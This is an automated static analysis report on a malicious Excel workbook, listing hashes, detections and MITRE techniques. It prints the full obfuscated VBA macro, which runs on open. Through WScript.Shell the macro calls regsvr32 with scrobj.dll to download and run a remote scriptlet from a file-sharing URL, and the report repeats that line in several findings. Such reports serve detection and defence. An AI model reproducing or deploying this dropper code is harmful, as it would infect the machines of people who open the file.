Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 4f20e2c89d56cd11…

MALICIOUS

Office (OOXML)

22.6 KB Created: 2021-07-01 11:29:17 UTC Authoring application: Microsoft Excel 12.0000 First seen: 2021-07-10
MD5: b911c8a2908b4dc208074d54bb52c9db SHA-1: b68042b1c1b18ed7e3f59881d6fd0b4cd558af3f SHA-256: 4f20e2c89d56cd1156f70f7cf19391420132d849c23094b69c5050463a888fbe
350 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The critical heuristics indicate the presence of a Workbook_Open macro that utilizes WScript.Shell and CreateObject to execute arbitrary code, likely a LOLBin. The VBA code is heavily obfuscated but the presence of Shell() and WScript.Shell usage strongly suggests it attempts to download and execute a second-stage payload. ClamAV detection further confirms its malicious nature.

Heuristics 8

  • ClamAV: Xls.Malware.Valyria-10036093-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Valyria-10036093-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        .Filters.Add "Excel Files", "*.BzeRsdRsBBTHS; *.HPUPAeuXerdwQXvKuanydVPRVscKtLbXoIGbBGkWSkviIJUeAzMkNDKLZdTecIGyohXk; *.scrTucsPTHJXUGFHFHkJA; *.ToPpUbNMHHaSOeohCNZAKbYnLkQBsXoIOXyHdDJzo; *.rrNGpbsnksaYMHrLcSCEHEIUJEPMuOZwcunLzXzCrPRofXhCkpRNp", 1
    Set hb = CreateObject("WScript.Shell")
    hb.Run ("regsvr32 /sLbzrtNvihODPHvHLoWVDQVTEtEwCJ   /nIoELBKRkWkUwvnOTfVftCUGKMKQIF   /uLbzrtNvihODPHvHLoWVDQVTEtEwCJ  /i:https://www.4sync.com/web/directDownload/xKeFw8Si/pxjLRT8v.fd85e82b25af2e7c1e397a6b2d3f5a74  scrobj.dll EFJaFGtwMIvKVtVbXUsukToQcQsOB")
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
    Set hb = CreateObject("WScript.Shell")
    hb.Run ("regsvr32 /sLbzrtNvihODPHvHLoWVDQVTEtEwCJ   /nIoELBKRkWkUwvnOTfVftCUGKMKQIF   /uLbzrtNvihODPHvHLoWVDQVTEtEwCJ  /i:https://www.4sync.com/web/directDownload/xKeFw8Si/pxjLRT8v.fd85e82b25af2e7c1e397a6b2d3f5a74  scrobj.dll EFJaFGtwMIvKVtVbXUsukToQcQsOB")
     .Show
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        .Filters.Add "Excel Files", "*.BzeRsdRsBBTHS; *.HPUPAeuXerdwQXvKuanydVPRVscKtLbXoIGbBGkWSkviIJUeAzMkNDKLZdTecIGyohXk; *.scrTucsPTHJXUGFHFHkJA; *.ToPpUbNMHHaSOeohCNZAKbYnLkQBsXoIOXyHdDJzo; *.rrNGpbsnksaYMHrLcSCEHEIUJEPMuOZwcunLzXzCrPRofXhCkpRNp", 1
    Set hb = CreateObject("WScript.Shell")
    hb.Run ("regsvr32 /sLbzrtNvihODPHvHLoWVDQVTEtEwCJ   /nIoELBKRkWkUwvnOTfVftCUGKMKQIF   /uLbzrtNvihODPHvHLoWVDQVTEtEwCJ  /i:https://www.4sync.com/web/directDownload/xKeFw8Si/pxjLRT8v.fd85e82b25af2e7c1e397a6b2d3f5a74  scrobj.dll EFJaFGtwMIvKVtVbXUsukToQcQsOB")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Attribute VB_Customizable = True
    Private Sub Workbook_Open()
    For RJXXWPdC = 1 To AOPKwSQ
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://www.4sync.com/web/directDownload/xKeFw8Si/pxjLRT8v.fd85e82b25af2e7c1e397a6b2d3f5a74 In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 7622 bytes
SHA-256: 1020b257489b870de1bd3576899628704c9cca69b62d3d22f72cf970a2e9c735
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
For RJXXWPdC = 1 To AOPKwSQ
    PEBO = OLapifJiIyXLdIpBHd.LfokwMQH(1).Range("IIWWUXBaSHJYLPYkedRNIb" & RJXXWPdC).Value
    OFFbYGco = OLapifJiIyXLdIpBHd.LfokwMQH(1).Range("ffTTPVRaKdiWtEVAkfJAhfaeHNJCZiWaWFSPyZYKAAOTVViiKIiORsTaeQtdt" & RJXXWPdC).Value
    Select Case True
        Case PEBO = "REWDkhnJIsJsBUCJCaGNwapwevhtn:": OLapifJiIyXLdIpBHd.LfokwMQH(1).Range("IIWWUXBaSHJYLPYkedRNIb" & RJXXWPdC & ":ffTTPVRaKdiWtEVAkfJAhfaeHNJCZiWaWFSPyZYKAAOTVViiKIiORsTaeQtdt" & RJXXWPdC).Font.Bold = True
        Case InStr(1, PEBO, "CnXIJPwnushzTfIzfWsVswsTsXsLFpTkDctGCRuJbGYnVQaCHBKVLLtvYdvL: ")
            OLapifJiIyXLdIpBHd.LfokwMQH(1).Range("IIWWUXBaSHJYLPYkedRNIb" & RJXXWPdC & ":OJfsfEYNpfRNkZGZNeQSzCLSBiHcwAMfRTVcefQFDtJuYoMfFeNBbUpuXuVYW" & RJXXWPdC).Interior.ColorIndex = 15
            OLapifJiIyXLdIpBHd.LfokwMQH(1).Range("IIWWUXBaSHJYLPYkedRNIb" & RJXXWPdC).Font.Bold = True
        Case InStr(1, OFFbYGco, "IIWWUXBaSHJYLPYkedRNIb"): OLapifJiIyXLdIpBHd.LfokwMQH(1).Range("ffTTPVRaKdiWtEVAkfJAhfaeHNJCZiWaWFSPyZYKAAOTVViiKIiORsTaeQtdt" & RJXXWPdC & ":ffTTPVRaKdiWtEVAkfJAhfaeHNJCZiWaWFSPyZYKAAOTVViiKIiORsTaeQtdt" & (RJXXWPdC + 2)).Interior.ColorIndex = 37
        Case InStr(1, OFFbYGco, "ffTTPVRaKdiWtEVAkfJAhfaeHNJCZiWaWFSPyZYKAAOTVViiKIiORsTaeQtdt"): OLapifJiIyXLdIpBHd.LfokwMQH(1).Range("ffTTPVRaKdiWtEVAkfJAhfaeHNJCZiWaWFSPyZYKAAOTVViiKIiORsTaeQtdt" & RJXXWPdC & ":ffTTPVRaKdiWtEVAkfJAhfaeHNJCZiWaWFSPyZYKAAOTVViiKIiORsTaeQtdt" & (RJXXWPdC + 2)).Interior.ColorIndex = 3
        Case InStr(1, OFFbYGco, "dSKnEbuBBEzIAMIoJKYZDFiALGDrV"): OLapifJiIyXLdIpBHd.LfokwMQH(1).Range("ffTTPVRaKdiWtEVAkfJAhfaeHNJCZiWaWFSPyZYKAAOTVViiKIiORsTaeQtdt" & RJXXWPdC & ":ffTTPVRaKdiWtEVAkfJAhfaeHNJCZiWaWFSPyZYKAAOTVViiKIiORsTaeQtdt" & (RJXXWPdC + 2)).Interior.Color = RGB(50, 205, 50)
    End Select
Next RJXXWPdC
Application.DisplayAlerts = False

With Application.FileDialog(msoFileDialogFilePicker)
      .AllowMultiSelect = False
    'CHcMiwyDiQOrkEByeIGfhHdnSJvdrBX  oPindkSw RJXXWPdC  LfokwMQH
    .Filters.Add "Excel Files", "*.BzeRsdRsBBTHS; *.HPUPAeuXerdwQXvKuanydVPRVscKtLbXoIGbBGkWSkviIJUeAzMkNDKLZdTecIGyohXk; *.scrTucsPTHJXUGFHFHkJA; *.ToPpUbNMHHaSOeohCNZAKbYnLkQBsXoIOXyHdDJzo; *.rrNGpbsnksaYMHrLcSCEHEIUJEPMuOZwcunLzXzCrPRofXhCkpRNp", 1
Set hb = CreateObject("WScript.Shell")
hb.Run ("regsvr32 /sLbzrtNvihODPHvHLoWVDQVTEtEwCJ   /nIoELBKRkWkUwvnOTfVftCUGKMKQIF   /uLbzrtNvihODPHvHLoWVDQVTEtEwCJ  /i:https://www.4sync.com/web/directDownload/xKeFw8Si/pxjLRT8v.fd85e82b25af2e7c1e397a6b2d3f5a74  scrobj.dll EFJaFGtwMIvKVtVbXUsukToQcQsOB")
 .Show
 'CnXIJPwnushzTfIzfWsVswsTsXsLFpTkDctGCRuJbGYnVQaCHBKVLLtvYdvL IIWWUXBaSHJYLPYkedRNIb IIWWUXBaSHJYLPYkedRNIb /nIoELBKRkWkUwvnOTfVftCUGKMKQIF oPindkSw IIWWUXBaSHJYLPYkedRNIb IIWWUXBaSHJYLPYkedRNIb IIWWUXBaSHJYLPYkedRNIb oPindkSw

End With
If InStr(fullpath, ".scrTucsPTHJXUGFHFHkJA") = 0 Then
 
    Exit Sub
End If
Set ws = Workbooks.Open(fullpath)
Set wb = Workbooks.Add
ws.LfokwMQH(1).UsedRange.Copy Destination:=wb.LfokwMQH("iAwRTCaVOhhyVFOXaKhGHEJtJvGeXzUrupkHKJOsefUzFecOMHEecFNIRSiH").Range("IIWWUXBaSHJYLPYkedRNIb" & Rows.DMJrHsyYYHsLHVWOsIkFf).End(xlUp)
wb.LfokwMQH("iAwRTCaVOhhyVFOXaKhGHEJtJvGeXzUrupkHKJOsefUzFecOMHEecFNIRSiH").Range("USPJVYzF").Value = "Status"
lRow = wb.LfokwMQH("iAwRTCaVOhhyVFOXaKhGHEJtJvGeXzUrupkHKJOsefUzFecOMHEecFNIRSiH").Cells(Rows.DMJrHsyYYHsLHVWOsIkFf, 1).End(xlUp).Row
For OddwpiRuGMFwUfHkWEZyckrIzeJwr = 2 To lRow
    If wb.LfokwMQH("iAwRTCaVOhhyVFOXaKhGHEJtJvGeXzUrupkHKJOsefUzFecOMHEecFNIRSiH").Range("H" & OddwpiRuGMFwUfHkWEZyckrIzeJwr).Value = 0 And wb.LfokwMQH(1).Range("I" & OddwpiRuGMFwUfHkWEZyckrIzeJwr).Value = 0 Then
        wb.LfokwMQH("iAwRTCaVOhhyVFOXaKhGHEJtJvGeXzUrupkHKJOsefUzFecOMHEecFNIRSiH").Range("OddwpiRuGMFwUfHkWEZyckrIzeJwr" & OddwpiRuGMFwUfHkWEZyckrIzeJwr).Value = "dSKnEbuBBEzIAMIoJKYZDFiALGDrV"
    Else
        wb.LfokwMQH("iAwRTCaVOhhyVFOXaKhGHEJtJvGeXzUrupkHKJOsefUzFecOMHEecFNIRSiH").Range("OddwpiRuGMFwUfHkWEZyckrIzeJwr" & OddwpiRuGMFwUfHkWEZyckrIzeJwr).Value = "dSKnEbuBBEzIAMIoJKYZDFiALGDrV"
    End If
Next OddwpiRuGMFwUfHkWEZyckrIzeJwr
wb.LfokwMQH("iAwRTCaVOhhyVFOXaKhGHEJtJvGeXzUrupkHKJOsefUzFecOMHEecFNIRSiH").Range("yVGpXaSFsukRCGnyttaFzBSJpMUPyPTPCDdOITM:USPJVYzF").AutoFilter _
    Field:=4, _
    Criteria1:=Array("EN", "EN/aHBbHQaSb", "FF", "FF/aHBbHQaSb", "hsizoHIePRDHfQvAZTBhEbWYssRvuGAdhoNZTzDTcLuSUuHFhfBLwooezpdWQ", "hsizoHIePRDHfQvAZTBhEbWYssRvuGAdhoNZTzDTcLuSUuHFhfBLwooezpdWQ/aHBbHQaSb"), _
    Operator:=xlFilterValues
    'NNQQKTibCJQUX
    wb.LfokwMQH("iAwRTCaVOhhyVFOXaKhGHEJtJvGeXzUrupkHKJOsefUzFecOMHEecFNIRSiH").Range("yVGpXaSFsukRCGnyttaFzBSJpMUPyPTPCDdOITM:USPJVYzF").AutoFilter _
    Field:=5, _
    Criteria1:=Array("1", "2", "3", "4", "5", "6", "7"), _
    Operator:=xlFilterValues
    'CnXIJPwnushzTfIzfWsVswsTsXsLFpTkDctGCRuJbGYnVQaCHBKVLLtvYdvL
    wb.LfokwMQH("iAwRTCaVOhhyVFOXaKhGHEJtJvGeXzUrupkHKJOsefUzFecOMHEecFNIRSiH").Range("yVGpXaSFsukRCGnyttaFzBSJpMUPyPTPCDdOITM:USPJVYzF").AutoFilter _
    Field:=7, _
    Criteria1:=Array("IIWWUXBaSHJYLPYkedRNIb", "ffTTPVRaKdiWtEVAkfJAhfaeHNJCZiWaWFSPyZYKAAOTVViiKIiORsTaeQtdt", "dSKnEbuBBEzIAMIoJKYZDFiALGDrV"), _
    Operator:=xlFilterValues
Worksheets("iAwRTCaVOhhyVFOXaKhGHEJtJvGeXzUrupkHKJOsefUzFecOMHEecFNIRSiH").Cells(1, 1).Select
 LfokwMQH.Add
 wb.PivotCaches.Create(SourceType:=xlDatabase, SourceData:= _
"iAwRTCaVOhhyVFOXaKhGHEJtJvGeXzUrupkHKJOsefUzFecOMHEecFNIRSiH!R1C1:R" & lRow & "oPindkSw", Version:=xlPivotTableVersion15).CreatePivotTable _
TableDestination:="WoODEeVveBFMBDANBLBIzWAABPyOkRAObkCnWwfFer!R3C1", TableName:="PivotTable1", DefaultVersion _
:=xlPivotTableVersion15
LfokwMQH("WoODEeVveBFMBDANBLBIzWAABPyOkRAObkCnWwfFer").Select
wb.LfokwMQH("WoODEeVveBFMBDANBLBIzWAABPyOkRAObkCnWwfFer").PivotTables(1).AddFields _
ColumnFields:="IIWWUXBaSHJYLPYkedRNIb", _
RowFields:=Array("CnXIJPwnushzTfIzfWsVswsTsXsLFpTkDctGCRuJbGYnVQaCHBKVLLtvYdvL", "rwXyUTCiEdWiYJzKMTBacyJMeEhbJzNRfDACcYd", "rwXyUTCiEdWiYJzKMTBacyJMeEhbJzNRfDACcYd", "rwXyUTCiEdWiYJzKMTBacyJMeEhbJzNRfDACcYd", "rwXyUTCiEdWiYJzKMTBacyJMeEhbJzNRfDACcYd")
With wb.LfokwMQH("WoODEeVveBFMBDANBLBIzWAABPyOkRAObkCnWwfFer").PivotTables(1).PivotFields("tdORyWisXkFZwHsEcfwovAwKKfDyD")

End With

With wb.LfokwMQH("WoODEeVveBFMBDANBLBIzWAABPyOkRAObkCnWwfFer").PivotTables(1).PivotFields("tdORyWisXkFZwHsEcfwovAwKKfDyD")

End With

End Sub


Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 35840 bytes
SHA-256: 6c3475c1f61ecd92c55b21f178194e9db5811802e8fbb611e6ea737db92b3f22
Detection
ClamAV: Xls.Malware.Valyria-10036093-0
Obfuscation or payload: unlikely